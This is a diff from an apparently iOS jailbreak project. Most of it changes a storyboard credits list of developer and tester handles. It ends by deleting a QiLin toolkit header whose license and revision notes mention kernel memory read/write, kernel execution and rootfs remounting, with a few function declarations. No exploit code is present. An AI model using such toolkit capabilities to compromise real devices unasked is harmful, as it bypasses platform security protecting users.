<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@JonathanSeals (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
<action selector="tappedOnJonathanSeals:" destination="uGG-wM-8Jf" eventType="touchDragInside" id="7Mo-g7-n6n"/>
|
||||
</connections>
|
||||
</button>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="KPM-zr-gJ2" firstAttribute="centerY" secondItem="tNf-8p-wWA" secondAttribute="centerY" id="D6E-OP-cZT"/>
|
||||
<constraint firstItem="KPM-zr-gJ2" firstAttribute="leading" secondItem="tNf-8p-wWA" secondAttribute="leading" constant="15" id="ckT-HJ-yvs"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="Cuw-PU-QEk">
|
||||
<rect key="frame" x="0.0" y="363.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Cuw-PU-QEk" id="3TA-8t-qeH">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="3Lp-u8-4iC">
|
||||
<rect key="frame" x="15" y="7" width="180" height="30"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="30" id="Jkn-Am-IeL"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="123" id="bfq-ZZ-g7f"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@saurik (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
<action selector="tappedOnSaurik:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="b3p-6S-SFc"/>
|
||||
</connections>
|
||||
</button>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="3Lp-u8-4iC" firstAttribute="centerY" secondItem="3TA-8t-qeH" secondAttribute="centerY" id="ptm-SG-kri"/>
|
||||
<constraint firstItem="3Lp-u8-4iC" firstAttribute="leading" secondItem="3TA-8t-qeH" secondAttribute="leading" constant="15" id="xKv-jI-0uk"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="71Y-RI-rkO">
|
||||
<rect key="frame" x="0.0" y="407.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="71Y-RI-rkO" id="JkI-Hz-Df6">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="pKD-a4-xWL">
|
||||
<rect key="frame" x="15" y="5.5" width="196" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="77" id="OAn-z2-lOQ"/>
|
||||
<constraint firstAttribute="height" constant="33" id="w4f-wL-yAV"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@FCE365 (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
<action selector="tappedOnGeoSn0w:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="RlH-0W-aHM"/>
|
||||
</connections>
|
||||
</button>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="pKD-a4-xWL" firstAttribute="leading" secondItem="JkI-Hz-Df6" secondAttribute="leading" constant="15" id="PJE-BB-FDW"/>
|
||||
<constraint firstItem="pKD-a4-xWL" firstAttribute="centerY" secondItem="JkI-Hz-Df6" secondAttribute="centerY" id="a5b-8V-Ikv"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="NfW-x4-NDs">
|
||||
<rect key="frame" x="0.0" y="451.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="NfW-x4-NDs" id="XYe-kQ-1Jy">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="xac-Lp-S05">
|
||||
<rect key="frame" x="15" y="5.5" width="148" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="xac-Lp-S05">
|
||||
<rect key="frame" x="15" y="5.5" width="151" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="148" id="Cev-NW-yf3"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="79" id="Cev-NW-yf3"/>
|
||||
<constraint firstAttribute="height" constant="33" id="MNI-SD-z4Z"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@Cryptiiic (testing)">
|
||||
<state key="normal" title="@Cryptiiic (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1342,20 +1500,20 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="TTa-w8-C7e">
|
||||
<rect key="frame" x="0.0" y="363.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="495.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="TTa-w8-C7e" id="4S5-oW-IMo">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="H4Q-eb-ujP">
|
||||
<rect key="frame" x="15" y="5.5" width="178" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="H4Q-eb-ujP">
|
||||
<rect key="frame" x="15" y="5.5" width="181" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="33" id="KGT-08-nyz"/>
|
||||
<constraint firstAttribute="width" constant="178" id="jn8-e2-9PR"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="108" id="jn8-e2-9PR"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@xerusdesign (testing)">
|
||||
<state key="normal" title="@xerusdesign (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1371,20 +1529,20 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="afy-0W-0PF">
|
||||
<rect key="frame" x="0.0" y="407.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="539.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="afy-0W-0PF" id="2wb-pY-dn2">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Tws-vS-kLC">
|
||||
<rect key="frame" x="15" y="5.5" width="177" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Tws-vS-kLC">
|
||||
<rect key="frame" x="15" y="5.5" width="179" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="177" id="Onf-Yp-gw2"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="107" id="Onf-Yp-gw2"/>
|
||||
<constraint firstAttribute="height" constant="33" id="bPV-dy-riK"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@AppleDry05 (testing)">
|
||||
<state key="normal" title="@AppleDry05 (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1400,20 +1558,20 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="CFc-nb-uKC">
|
||||
<rect key="frame" x="0.0" y="451.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="583.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="CFc-nb-uKC" id="c4i-Lb-Ci9">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="AJL-Pv-miJ">
|
||||
<rect key="frame" x="15" y="5.5" width="216" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="AJL-Pv-miJ">
|
||||
<rect key="frame" x="15" y="5.5" width="219" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="33" id="AoE-eA-MU0"/>
|
||||
<constraint firstAttribute="width" constant="216" id="Qlm-pl-Rqr"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="147" id="Qlm-pl-Rqr"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@Rob_Coleman123 (testing)">
|
||||
<state key="normal" title="@Rob_Coleman123 (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1429,20 +1587,20 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="djf-Cy-L0f">
|
||||
<rect key="frame" x="0.0" y="495.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="627.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="djf-Cy-L0f" id="Rdg-LP-0nV">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="j0H-tW-4d7">
|
||||
<rect key="frame" x="15" y="5.5" width="187" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="j0H-tW-4d7">
|
||||
<rect key="frame" x="15" y="5.5" width="190" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="187" id="80f-8s-r7H"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="118" id="80f-8s-r7H"/>
|
||||
<constraint firstAttribute="height" constant="33" id="KT5-9t-ZQR"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@MidnightChip (testing)">
|
||||
<state key="normal" title="@MidnightChip (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1457,50 +1615,21 @@
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="71Y-RI-rkO">
|
||||
<rect key="frame" x="0.0" y="539.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="71Y-RI-rkO" id="JkI-Hz-Df6">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="pKD-a4-xWL">
|
||||
<rect key="frame" x="15" y="5.5" width="147" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="147" id="OAn-z2-lOQ"/>
|
||||
<constraint firstAttribute="height" constant="33" id="w4f-wL-yAV"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@FCE365 (testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
<action selector="tappedOnGeoSn0w:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="RlH-0W-aHM"/>
|
||||
</connections>
|
||||
</button>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="pKD-a4-xWL" firstAttribute="leading" secondItem="JkI-Hz-Df6" secondAttribute="leading" constant="15" id="PJE-BB-FDW"/>
|
||||
<constraint firstItem="pKD-a4-xWL" firstAttribute="centerY" secondItem="JkI-Hz-Df6" secondAttribute="centerY" id="a5b-8V-Ikv"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="AGm-v9-SAz">
|
||||
<rect key="frame" x="0.0" y="583.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="671.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="AGm-v9-SAz" id="u6w-tl-T7u">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Bbw-aZ-BIx">
|
||||
<rect key="frame" x="15" y="7" width="161" height="30"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Bbw-aZ-BIx">
|
||||
<rect key="frame" x="15" y="7" width="165" height="30"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="30" id="T7E-p7-C38"/>
|
||||
<constraint firstAttribute="width" constant="161" id="czi-rf-WVk"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="92" id="czi-rf-WVk"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@Swag_iOS (testing)">
|
||||
<state key="normal" title="@Swag_iOS (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1516,20 +1645,20 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="SeN-mT-hYg">
|
||||
<rect key="frame" x="0.0" y="627.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="715.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="SeN-mT-hYg" id="BUb-hq-LYk">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="x5m-Hc-IqE">
|
||||
<rect key="frame" x="15" y="5.5" width="197" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="x5m-Hc-IqE">
|
||||
<rect key="frame" x="15" y="5.5" width="200" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="33" id="NJ3-BT-8mf"/>
|
||||
<constraint firstAttribute="width" constant="197" id="cqC-VM-URv"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="128" id="cqC-VM-URv"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@jailbreakbuster (testing)">
|
||||
<state key="normal" title="@jailbreakbuster (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1545,20 +1674,20 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="2wN-5M-FuK">
|
||||
<rect key="frame" x="0.0" y="671.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="759.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="2wN-5M-FuK" id="qsg-EE-xwA">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="F1e-Hh-yMm">
|
||||
<rect key="frame" x="15" y="5.5" width="183" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="F1e-Hh-yMm">
|
||||
<rect key="frame" x="15" y="5.5" width="186" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="33" id="fRG-eI-pv5"/>
|
||||
<constraint firstAttribute="width" constant="183" id="tDf-3A-6CD"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="114" id="tDf-3A-6CD"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@Jakeashacks (testing)">
|
||||
<state key="normal" title="@Jakeashacks (Testing)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
|
||||
@@ -1,276 +0,0 @@
|
||||
//
|
||||
// jjt.h
|
||||
// QiLin
|
||||
//
|
||||
// Created by JL on 12/7/17.
|
||||
// Copyright © 2017 NewOSXBook. All rights reserved.
|
||||
|
||||
// Revision 3: Added spawnAndPlatformize(),
|
||||
// moved to posix_spawn() implementation for exec() family
|
||||
// actually exported the set*Reporter functions (formerly ErrorHandler.. etc -
|
||||
// "Reporter" is more accurate, because they allow you to propagate messages to
|
||||
// a GUI.
|
||||
//
|
||||
// Revision 4: Added kexec (executeInKernel)
|
||||
//
|
||||
// Revision 5: KMR/KMW (Kernel memory read/write) functions weren't exported! Oops!
|
||||
//
|
||||
// Revision 6: RootFS mount, fixed bug in getting symbols (no longer needs setKernelSymbol)
|
||||
// and added respring
|
||||
// and also added uint64_t getVnodeByPathName (char *Path) ;
|
||||
//
|
||||
// (Almost) free to use (ABSE) per the license in http://NewOSXBook.com/QiLin/
|
||||
//
|
||||
// Remember to give credit where due and please tweet with #QiLin
|
||||
// so others can quickly find your JailBreak or other project.
|
||||
//
|
||||
|
||||
#if 0
|
||||
Johnny's (semi) open source license, v0.4
|
||||
-----------------------------------------
|
||||
|
||||
This is (well, will be, at the time of writing) open source, and I can't but appeal to your sense of decency.
|
||||
You might try compile this and try to pass it as your own. Heck, you might even try to run it through llvm-obfuscator.
|
||||
But that would be stealing code. And obfuscate as you will, you can't obfuscate enough to hide the methods.
|
||||
So, primum non nocere. Do no harm, and do not steal.
|
||||
|
||||
To be fully clear:
|
||||
|
||||
- Yes, you may use this source or code library as you see fit, PROVIDED THAT:
|
||||
|
||||
- IT IS NOT USED COMMERCIALLY IN ANY WAY. For this, I ask that you contact my company, @Technologeeks,
|
||||
and ask for proper licensing - they'll also provide official support.
|
||||
|
||||
- IT IS NOT USED AS A COMPONENT OF AN APT IN ANY KIND FORM OR MANNER.
|
||||
(NSO/Hackin9/Finfisher/Equus/etc - that means you)
|
||||
|
||||
- WHEN YOU DO USE IT, I ASK THAT YOU MENTION THAT YOUR TOOL IS "powered by the QiLin Toolkit",
|
||||
or otherwise provide a user facing indication that it is using this code.
|
||||
I'd appreciate it if you tweeted with #QiLin, too.
|
||||
|
||||
- If you spread lies about other people, propaganda or false claims, while using this toolkit,
|
||||
then you must renounce your ways, and apologize. Then you can use it freely.
|
||||
|
||||
- There are no limitation on nationality, specific people exclusions (i.e. this is AISE, subject to last condition, above ;-),
|
||||
or any other race, color or creed - provided the above are met.
|
||||
|
||||
|
||||
- QiLin comes with NO LIABILITY WHATSOEVER. YOU USE THIS AT YOUR OWN RISK.
|
||||
|
||||
I CANNOT AND WILL NOT BE HELD ACCOUNTABLE FOR ANY DAMAGE, SOFTWARE OR HARDWARE OR YOUR DATA OR OTHERWISE,
|
||||
|
||||
WHICH MAY OR MAY NOT RESULT TO YOUR IOS DEVICE BY USING THIS.
|
||||
|
||||
- Remember I'm doing this AS A FAVOR. I AM NO IN WAY INDEBTED OR COMMITTED TO SUPPORT THIS, OR ANY OTHER OF MY TOOLS.
|
||||
You don't have to thank for this (you're welcome) but please don't slander me either.
|
||||
|
||||
- Should you wish to contribute/donate, you may do so in one of the following ways:
|
||||
|
||||
- Monetary: Pick a charity. Any charity. Of your choice. Pay them however money you want.
|
||||
Optionally, tweet/fb/insta/snap-whatever a screen capture stating "#QiLin".
|
||||
|
||||
- Development: Through http://NewOSXBook.com/forum - you are welcome to ask (proper technical, not lame wen eta)
|
||||
questions and engage in discussions
|
||||
|
||||
|
||||
|
||||
First, do no harm. Next, have fun :-)
|
||||
|
||||
Changelog:
|
||||
|
||||
- v0.1 Was AISE but SE is being more of an ass than usual and slandering fake claims directly attacking me.
|
||||
So this was updated with new condition excluding him until he grows up and behaves like the decent,
|
||||
talented researcher he can be.
|
||||
|
||||
- v0.3 adds request to tweet #QiLin.
|
||||
|
||||
- v0.4 states what should be obvious - NO LIABILITY WHATSOEVER
|
||||
#endif
|
||||
#ifndef qilin_h
|
||||
#define qilin_h
|
||||
#include <mach/mach.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
|
||||
|
||||
char *getMachine (void);
|
||||
char *getOSVer(void);
|
||||
|
||||
typedef int (*KMRFunc)(uint64_t Address, uint64_t Len, void **To);
|
||||
